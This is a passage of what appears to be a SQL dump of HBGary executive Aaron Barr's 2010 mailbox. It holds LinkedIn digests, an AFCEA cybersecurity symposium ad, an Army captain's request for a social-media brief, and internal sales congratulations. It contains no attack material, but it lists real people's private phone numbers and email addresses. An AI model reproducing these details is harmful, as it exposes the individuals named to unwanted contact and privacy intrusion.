protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n',10248,'aaron_hbgary_com/10248.html'),(7528,'2010-06-18','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297005633.M384982P14101Q2383.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Joseph Ghannam and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJune 18, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n\r\n\r\n\r\n   Job Discussions (2)\r\n       \r\n         \r\n           Journeyman WTI Analyst &#x2013; TS/SCI &#x2013; Iraq/Afghanistan\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Joseph Ghannam, Sr. Military Intelligence Recruiter at Six3 Systems (open networker) send me an invitation joseph_nad@yahoo.com\r\n       \r\n       \r\n         \r\n           CITP JOURNEYMAN ALL-SOURCE ANALYSTS &#x2013; TS/SCI - Afghanistan\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Joseph Ghannam, Sr. Military Intelligence Recruiter at Six3 Systems (open networker) send me an invitation joseph_nad@yahoo.com\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 70 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',5068,'aaron_hbgary_com/5068.html'),(7529,'2010-06-18','\"AFCEA DC Cybersecurity Symposium Team\" <events@afceadc.org>','/aaron@hbgary.com/new/1297005633.M616141P14101Q2384.eml','aaron@hbgary.com','CYBERCOM, DHS, DoD, Energy, White House & Mil Services address the 2nd Annual Cybersecurity Symposium - July 8, 2010 - Hilton Washington','\r\n\r\n\r\nAFCEA DC Monthly Luncheon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n        View \r\n              Pics from the Spring Leadership Awards Gala &amp; Mil Awardees\r\n      \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          AFCEA \r\n            DC Home\r\n          News\r\n          Calendar\r\n          About \r\n            AFCEA DC\r\n        \r\n      \r\n  \r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n           \r\n               \r\n                &nbsp;\r\n                2nd Annual AFCEA DC\r\n                    Cybersecurity Symposium\r\n                    USCYBERCOM\'s Role in Protecting \r\n                    .mil, .gov &amp; .com\r\n                  Thursday, July 8, 2010\r\n                    8am-5pm - Hilton Washington, Washington, \r\n                    DC\r\n                    www.afceadc.org/cyber \r\n                  \r\n                  Speakers &amp; Program\r\n                  \r\n                    Opening Keynote: Gen James E. “Hoss” Cartwright, \r\n                      USMC - Vice Chairman of the Joint Chiefs of Staff \r\n                      (invited)\r\n                      \r\n                    \r\n                    Closing Keynote: Mr. Howard A. Schmidt, \r\n                      White House Cybersecurity Coordinator (confirmed)\r\n                      \r\n                    \r\n                    Reaction to Cyber Shockwave - Enter DoD &amp; \r\n                      USCYBERCOM\r\n                      Panel Block on .Mil to .Gov Relationships \r\n                      \r\n                      \r\n                      \r\n                        Mr. Bob Butler - Deputy Assistant \r\n                          Secretary of Defense for Cyber Policy, U.S. Department \r\n                          of Defense (DoD)  (confirmed)\r\n                          \r\n                          \r\n                        RDML Mike Brown - Deputy Assistant \r\n                          Secretary for Cyber Security &amp; Communications (CS&amp;C), \r\n                          U.S. Department of Homeland Security (DHS)  \r\n                          (confirmed)\r\n                          \r\n                          \r\n                        Mr. Bruce Held - Director of Intel \r\n                          &amp; Counter Intel, U.S. Dept of Energy  (confirmed)\r\n                          \r\n                          \r\n                        Mr. Ed Mueller - Chair, National \r\n                          Security Telecommunications Advisory Committee (NSTAC) \r\n                           (confirmed)\r\n                          \r\n                          \r\n                        MG David B. Lacquement, USA - Director \r\n                          of Operations (J-3), U.S. Cyber Command (USCYBERCOM) \r\n                          (invited)\r\n                          \r\n                          \r\n                        Moderator: Gen. \r\n                          Ronald E. Keys (USAF, Ret) - former Commander, \r\n                          Air Combat Command (ACC), USAF, &amp; currently President, \r\n                          RK Solution Enterprises  (confirmed)\r\n                          \r\n                        \r\n                      \r\n                    \r\n                    Public Private Partnerships Framework\r\n                      Panel Block on .Mil/.Gov to .Com Relationships \r\n                      \r\n                      \r\n                      \r\n                        Ms. Anne Neuberger - Special Assistant \r\n                          to the Director for Enduring Security Framework Forum, \r\n                          National Security Agency (NSA)/USCYBERCOM (invited)\r\n                          \r\n                          \r\n                        Mr. Riley Repko (Col, USAFR, Ret) \r\n                          - Senior Advisor, Cyber Operations &amp; Transformation, \r\n                          Deputy Chief of Staff for Air, Space &amp; Information \r\n                          Operations, Plans &amp; Requirements (A3/5), U.S. Air \r\n                          Force  (confirmed)\r\n                          \r\n                          \r\n                        Ms. Ellen McCarthy - President, Intelligence \r\n                          and National Security Alliance (INSA)  (confirmed)\r\n                          \r\n                          \r\n                        Mr. Guy Copeland - Chairman, Cross-Sector \r\n                          Cybersecurity Working Group (CSCSWG)  (confirmed)\r\n                          \r\n                          \r\n                        Mr. Greg Schaffer, Assistant Secretary \r\n                          for Cybersecurity and Communications (CS&amp;C), U.S. \r\n                          Department of Homeland Security (DHS) (invited)\r\n                          \r\n                          \r\n                        RADM David Glenn, Director for C4 \r\n                          (J6), U.S. Cyber Command (USCYBERCOM)  (invited)\r\n                          \r\n                        \r\n                      \r\n                    \r\n                    Luncheon Keynotes\r\n                      CYBERCOM &amp; DHS – Huntley-Brinkley style\r\n                      \r\n                       \r\n                      \r\n                        ADM James A. Winnefeld, Jr. - Commander, \r\n                          U.S. Northern Command (USNORTHCOM) (invited)\r\n                          \r\n                          \r\n                        Hon. Rand Beers - Undersecretary \r\n                          for National Protection &amp; Programs Directorate, \r\n                          U.S. Department of Homeland Security (DHS) (invited)\r\n                          \r\n                          \r\n                      \r\n                    \r\n                    Standing Up USCYBERCOM\r\n                      Panel Block on .Mil to .Mil Relationships\r\n                      \r\n                       \r\n                      \r\n                        Maj. Gen. Suzanne &quot;Zan&quot; Vautrinot \r\n                          - Director of Plans and Policy (J5), U.S. Cyber Command \r\n                          (USCYBERCOM)  (confirmed)\r\n                          \r\n                        \r\n                         LtGen George Flynn - Commander, \r\n                          Marine Corps Forces Cyberspace Command (MARFORCYBER) \r\n                           (confirmed)\r\n                          \r\n                          \r\n                        RADM Robert Day - Director, Cyber \r\n                          Command, U.S. Coast Guard  (confirmed)\r\n                          \r\n                          \r\n                        MG Rhett Hernandez - Incoming Commanding \r\n                          General, Army Forces Cyber Command (ARFORCYBER), U.S. \r\n                          Army (invited)\r\n                          \r\n                          \r\n                        Brig. Gen. Greg Brundidge - Director, \r\n                          Communications &amp; Information (J6) - European Command \r\n                          (USEUCOM)  (confirmed)\r\n                          \r\n                          \r\n                        Maj. Gen. Richard Webber - Commander, \r\n                          24th Air Force (invited)\r\n                          \r\n                        \r\n                         VADM Bernard McCullough III - Commander, \r\n                          U.S. Fleet Cyber Command/U.S. Tenth Fleet (invited)\r\n                          \r\n                      \r\n                    \r\n                  \r\n                  The 2nd Annual AFCEA DC Cybersecurity Symposium will focus \r\n                    on the newly confirmed U.S. Cyber Command, and its partners, \r\n                    its relationships, its dependencies, its policies, and its \r\n                    reach. CYBERCOM will need to interface with the five Military \r\n                    Services, the Unified Commands/COCOMs, DHS, other Civilian \r\n                    Agencies, Industry, and the list goes on. Conference attendees \r\n                    will be present as discussions of these interrelationships \r\n                    unfold and the framework for collaboration begins to emerge.\r\n                  Sign-Up \r\n                    to Sponsor the Cybersecurity Symposium\r\n                  Register \r\n                    to Attend the Cybersecurity Symposium\r\n                    \r\n                  For more Information Contact:\r\n                  \r\n                     \r\n                       AFCEA DC/CAPLEAD Staff, events@afceadc.org, tel: 202-701-5808 \r\n                      \r\n                    \r\n                  \r\n                  &nbsp;\r\n                  Key \r\n                    Sponsorship Slots still Available!\r\n                  &nbsp;\r\n              \r\n               \r\n                &nbsp;\r\n                &nbsp;\r\n              \r\n            \r\n            \r\n            \r\n          \r\n          \r\n            \r\n              Conference Links: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              Event \r\n                    Home Page \r\n                  Speakers \r\n                    &amp; Program\r\n                  Sponsorships\r\n                                  Individual\r\n                  Registration\r\nVenue\r\n                  &nbsp;\r\n                \r\n            \r\n          \r\n            \r\n            \r\n              \r\n                Diamond Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n\r\n\r\n\r\n  \r\n  \r\n\r\n\r\n  \r\n  \r\n\r\n  \r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n\r\n\r\n\r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Premiere Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n  \r\n  \r\n  \r\n  \r\n  \r\n    &nbsp;\r\n  \r\n  \r\n\r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Platinum Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                    \r\n                \r\n              \r\n            \r\n            \r\n            \r\n              \r\n                Gold Sponsors: \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n                    \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                      \r\n                        \r\n                      \r\n                    \r\n                \r\n              \r\n          \r\n          \r\n          \r\n          \r\n               \r\n                Small Business Silver Sponsors: \r\n              \r\n               \r\n                \r\n              \r\n               \r\n                \r\n                    \r\n                       \r\n                        \r\n                      \r\n                       \r\n                        \r\n                      \r\n                       \r\n                        \r\n                      \r\n                       \r\n                        \r\n                      \r\n                       \r\n                        \r\n                      \r\n                       \r\n                        \r\n                      \r\n                       \r\n                        \r\n                      \r\n                       \r\n                        \r\n                      \r\n                       \r\n                        \r\n                      \r\n                    \r\n                  \r\n              \r\n            \r\n        \r\n      \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n             Armed Forces Communications and Electronics Association \r\n              of Washington, D.C.\r\n              1220 L St., NW, Suite 100-407, Washington, D.C. 20005-4018\r\n              info@afceadc.org&nbsp;&nbsp; \r\n              |&nbsp;&nbsp; tel: 202-701-5808&nbsp;&nbsp; |&nbsp;&nbsp; fax: 202-330-5012\r\n            \r\n            \r\n        \r\n        \r\n          &nbsp;\r\n            AFCEA NOVA Management by an amazing team of Volunteers, \r\n              supported by : CAPLEAD | info@caplead.com\r\n            \r\n        \r\n      \r\n  \r\n\r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',16497,'aaron_hbgary_com/16497.html'),(7530,'2010-06-18','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','/aaron@hbgary.com/new/1297005633.M871630P14101Q2385.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Social Media Brief (UNCLASSIFIED)','Aaron,\r\nYes that is a big interest to the Army and I can imagine all other services. I tried to bring up social engineering and social media at the Red Team huddle but nobody wanted to talk about it. I think the Army is the most interested. I\'m in charge of creating a social engineering resistance program for the Army and I could help facilitate that with you if you needed me. My boss has also been working through the legal issues of incorporating Fidelis onto the Army network. I\'d love to get together to talk about it. Let\'s figure out a good time and make it happen. \r\n\r\nV/R\r\n\r\nCPT Stephen W. Turner\r\nDSN 703-428-4514\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nDate: Friday, June 18, 2010 7:21 am\r\nSubject: Re: Social Media Brief (UNCLASSIFIED)\r\nTo: \"Turner, Stephen W CPT MIL USA\" \r\n\r\n> CPT Turner,\r\n> \r\n> Absolutely. I am down at the FIRST conference and don\'t have it with\r\n> me but I will send it when I get back. A few questions.\r\n> \r\n> I am thinking of developing a training curriculum to help people and\r\n> organizations understand the threats of social networks and related\r\n> technologies and what can be done to improve exposure of information.\r\n> Do you think that would be of interest to organizations as a service?\r\n> \r\n> Second, any interest in getting together and discussing how we\r\n> incorporate this knowledge, our malware analysis capability with some\r\n> partner technology such as Fidelis. If it\'s ok I will forward to you\r\n> a datasheet for you to review.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jun 17, 2010, at 2:04 PM, \"Turner, Stephen W CPT MIL USA\"\r\n>  \r\n> > Classification: UNCLASSIFIED\r\n> > Caveats: FOUO\r\n> >\r\n> > Mr. Barr,\r\n> > I\'m CPT Steve Turner from 1st IO Command. I attended your brief at\r\n> > the REBL Symposium the other day and wanted to know if I could get a\r\n> > digital copy. It was really good and hit on a majority of the topics my\r\n> > team works with. Thanks\r\n> >\r\n> > V/R\r\n> >\r\n> > CPT Steve Turner\r\n> >\r\n> > Classification: UNCLASSIFIED\r\n> > Caveats: FOUO\r\n> >\r\n> >\r\n',11958,'aaron_hbgary_com/11958.html'),(7531,'2010-06-18','\"David Gerulski\" <dgerulski@endgames.us>','/aaron@hbgary.com/new/1297005634.M108834P14101Q2386.eml','aaron@hbgary.com,aaron@hbgary.com','EGS Traveling License Quote','Aaron,\r\n\r\nAttached please find Endgame\'s traveling license quote for HBGary. However, the SLA is not attached. It will be available in a couple of days. \r\n\r\nHope you have an enjoyable weekend. Look forward to talking with you early next week.\r\n\r\nSincerely,\r\n\r\nDave\r\n\r\n\r\nDavid Gerulski\r\nVP Commercial Sales & Marketing\r\ndgerulski@endgames.us\r\n\r\n\r\n',15891,'aaron_hbgary_com/15891.html'),(7532,'2010-06-18','\"David Gerulski\" <dgerulski@endgames.us>','/aaron@hbgary.com/new/1297005637.M333456P14101Q2387.eml','aaron@hbgary.com','EGS Traveling License Quote - w/attachment','Aaron,\r\n\r\nAttached please find Endgame\'s traveling license quote for HBGary. However, the SLA is not attached. It will be available in a couple of days. \r\n\r\nHope you have an enjoyable weekend. Look forward to talking with you early next week.\r\n\r\nSincerely,\r\n\r\n\r\nDave\r\n\r\nDavid Gerulski\r\nVP Commercial Sales & Marketing\r\ndgerulski@endgames.us\r\n\r\n',8578,'aaron_hbgary_com/8578.html'),(7533,'2010-06-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005637.M702205P14101Q2388.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Social Media Brief (UNCLASSIFIED)','From my iPhoneBegin forwarded message:From: &quot;Turner, Stephen W CPT MIL USA USINSCOM&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\nDate: June 18, 2010 5:25:48 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Social Media Brief (UNCLASSIFIED)\r\nAaron,Yes that is a big interest to the Army and I can imagine all other services. I tried to bring up social engineering and social media at the Red Team huddle but nobody wanted to talk about it. I think the Army is the most interested. I&#39;m in charge of creating a social engineering resistance program for the Army and I could help facilitate that with you if you needed me. My boss has also been working through the legal issues of incorporating Fidelis onto the Army network. I&#39;d love to get together to talk about it. Let&#39;s figure out a good time and make it happen. \r\nV/RCPT Stephen W. TurnerDSN 703-428-4514----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Friday, June 18, 2010 7:21 amSubject: Re: Social Media Brief (UNCLASSIFIED)To: &quot;Turner, Stephen W CPT MIL USA&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\nCPT Turner,Absolutely. I am down at the FIRST conference and don&#39;t have it with\r\nme but I will send it when I get back. A few questions.I am thinking of developing a training curriculum to help people and\r\norganizations understand the threats of social networks and relatedtechnologies and what can be done to improve exposure of information.\r\nDo you think that would be of interest to organizations as a service?Second, any interest in getting together and discussing how we\r\nincorporate this knowledge, our malware analysis capability with somepartner technology such as Fidelis. If it&#39;s ok I will forward to you\r\na datasheet for you to review.Aaron\r\nSent from my iPadOn Jun 17, 2010, at 2:04 PM, &quot;Turner, Stephen W CPT MIL USA&quot;\r\n&lt; wrote:Classification: UNCLASSIFIED\r\nCaveats: FOUO\r\nMr. Barr,I&#39;m CPT Steve Turner from 1st IO Command. I attended your brief at\r\nthe REBL Symposium the other day and wanted to know if I could get a\r\ndigital copy. It was really good and hit on a majority of the topics myteam works with. Thanks\r\nV/R\r\nCPT Steve Turner\r\nClassification: UNCLASSIFIEDCaveats: FOUO\r\n\r\n',7759,'aaron_hbgary_com/7759.html'),(7534,'2010-06-18','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005638.M1343P14101Q2389.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Social Media Brief (UNCLASSIFIED)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAwesome.&nbsp; Now let&#8217;s get the other guys as NSA interested.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, June 18, 2010 2:44 PM\r\nTo: Penny Leavy; Ted Vera; Bob Slapnik; Greg Hoglund\r\nSubject: Fwd: Social Media Brief (UNCLASSIFIED)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Turner,\r\nStephen W CPT MIL USA USINSCOM&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\nDate: June 18, 2010 5:25:48 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Social Media Brief (UNCLASSIFIED)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nYes that is a big interest to the Army and I can imagine all other services. I\r\ntried to bring up social engineering and social media at the Red Team huddle\r\nbut nobody wanted to talk about it. I think the Army is the most interested.\r\nI\'m in charge of creating a social engineering resistance program for the Army\r\nand I could help facilitate that with you if you needed me. My boss has also\r\nbeen working through the legal issues of incorporating Fidelis&nbsp;onto the\r\nArmy network. I\'d love to get together to talk about it. Let\'s figure out a\r\ngood time and make it happen. \r\n\r\nV/R\r\n\r\nCPT Stephen W. Turner\r\nDSN 703-428-4514\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Friday, June 18, 2010 7:21 am\r\nSubject: Re: Social Media Brief (UNCLASSIFIED)\r\nTo: &quot;Turner, Stephen W CPT MIL USA&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\n\r\n\r\n\r\n\r\nCPT Turner,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAbsolutely. I am down at the FIRST conference and don\'t have\r\nit with\r\n\r\n\r\n\r\n\r\n\r\nme but I will send it when I get back. A few questions.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am thinking of developing a training curriculum to help\r\npeople and\r\n\r\n\r\n\r\n\r\n\r\norganizations understand the threats of social networks and\r\nrelated\r\n\r\n\r\n\r\n\r\n\r\ntechnologies and what can be done to improve exposure of\r\ninformation.\r\n\r\n\r\n\r\n\r\n\r\nDo you think that would be of interest to organizations as a\r\nservice?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSecond, any interest in getting together and discussing how\r\nwe\r\n\r\n\r\n\r\n\r\n\r\nincorporate this knowledge, our malware&nbsp;analysis\r\ncapability with some\r\n\r\n\r\n\r\n\r\n\r\npartner technology such as Fidelis. If it\'s ok&nbsp;I will\r\nforward to you\r\n\r\n\r\n\r\n\r\n\r\na datasheet&nbsp;for you to review.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun&nbsp;17, 2010, at 2:04 PM, &quot;Turner, Stephen W\r\nCPT MIL USA&quot;\r\n\r\n\r\n\r\n\r\n\r\n&lt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCaveats: FOUO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\'m CPT Steve Turner from 1st IO Command. I attended your\r\nbrief at\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nthe REBL&nbsp;Symposium the other day and wanted to know if\r\nI could get a\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndigital copy. It was really good and hit on a majority of\r\nthe topics my\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nteam works with. Thanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nV/R\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCPT Steve Turner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCaveats: FOUO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12350,'aaron_hbgary_com/12350.html'),(7535,'2010-06-18','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005638.M243566P14101Q2390.eml','all@hbgary.com','We Just Received at','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDeal for $192K.&nbsp; Bob, brought in our first law firm, with\r\nRich&#8217;s help on site.\r\n\r\n&nbsp;\r\n\r\nWay to go Bob and Rich.\r\n\r\n&nbsp;\r\n\r\nFYI, this was a McAfee lead so this will be published to all\r\nMcAfee sales people. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5304,'aaron_hbgary_com/5304.html'),(7536,'2010-06-18','\"cybernexus Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297005638.M489099P14101Q2391.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Cliff Rudolph and other cybernexus group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJune 18, 2010\r\n    cybernexus\r\n    \r\n	      Latest:\r\n	      \r\n	          1 news discussion\r\n	            |\r\n	      \r\n	          1 news article\r\n	        \r\n	      \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n\r\n  News Discussions (1)\r\n    \r\n      \r\n        Social Media\'s Dirty Little Liability Secret for Employers | Parker, Smith &amp; Feek\r\n        1 comment  &raquo;\r\n        \r\n              \r\n                The landscape of business communication and the law governing social media is changing rapidly. It\'s important that employers speak with their attorney and understand the social media liability issues facing their organization.\r\n                By Cliff Rudolph, Technology Practice Leader at Parker, Smith, &amp; Feek\r\n              \r\n        \r\n    \r\n\r\nLatest News      \r\n        \r\n          Social Media\'s Dirty Little Liability Secret for Employers | Parker, Smith &amp; Feek\r\n          1 comment  &raquo;\r\n          psfinc.com | June 16, 2010\r\n        You can&#x2019;t attend a Human Resource, Marketing, or Legal conference these days without a discussion on social media. My wi&#0133;\r\n      \r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',7547,'aaron_hbgary_com/7547.html'),(7537,'2010-06-18','\"Rocco Fasciani\" <rocco@hbgary.com>','/aaron@hbgary.com/new/1297005638.M762387P14101Q2392.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: We Just Received at','Congratulations!\r\nOn Fri, Jun 18, 2010 at 5:52 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nDeal for $192K.  Bob, brought in our first law firm, with Rich’s help on site.\r\n \r\nWay to go Bob and Rich.\r\n \r\nFYI, this was a McAfee lead so this will be published to all McAfee sales people. \r\n \r\n \r\n \r\nPenny C. Leavy\r\nPresident\r\nHBGary, Inc\r\n \r\n \r\nNOTICE – Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on the taxpayer.  (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\nThis message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for   delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly\r\n\r\n -- Regards,Rocco FascianiRegional Sales DirectorHB Gary, Inc.office 908 766 2705cell 201 715 8539Rocco@HBGary.com\r\n',7157,'aaron_hbgary_com/7157.html'),(7538,'2010-06-18','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297005639.M42396P14101Q2393.eml','\"Rocco Fasciani\" <rocco@hbgary.com>,\"Rocco Fasciani\" <rocco@hbgary.com>,','Re: We Just Received at','Great Job!!!!! \r\nOn Fri, Jun 18, 2010 at 3:04 PM, Rocco Fasciani &lt;rocco@hbgary.com&gt; wrote:\r\nCongratulations! \r\n\r\n\r\n\r\nOn Fri, Jun 18, 2010 at 5:52 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nDeal for $192K.  Bob, brought in our first law firm, with Rich’s help on site.\r\n \r\nWay to go Bob and Rich.\r\n \r\nFYI, this was a McAfee lead so this will be published to all McAfee sales people. \r\n \r\n \r\n \r\nPenny C. Leavy\r\nPresident\r\nHBGary, Inc\r\n \r\n \r\nNOTICE – Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on the taxpayer.  (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\nThis message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for   delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly\r\n\r\n -- Regards,Rocco FascianiRegional Sales DirectorHB Gary, Inc.office 908 766 2705\r\ncell 201 715 8539Rocco@HBGary.com-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n',8813,'aaron_hbgary_com/8813.html'),(7539,'2010-06-19','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297005639.M815005P14101Q2394.eml','\"Barr Aaron\" 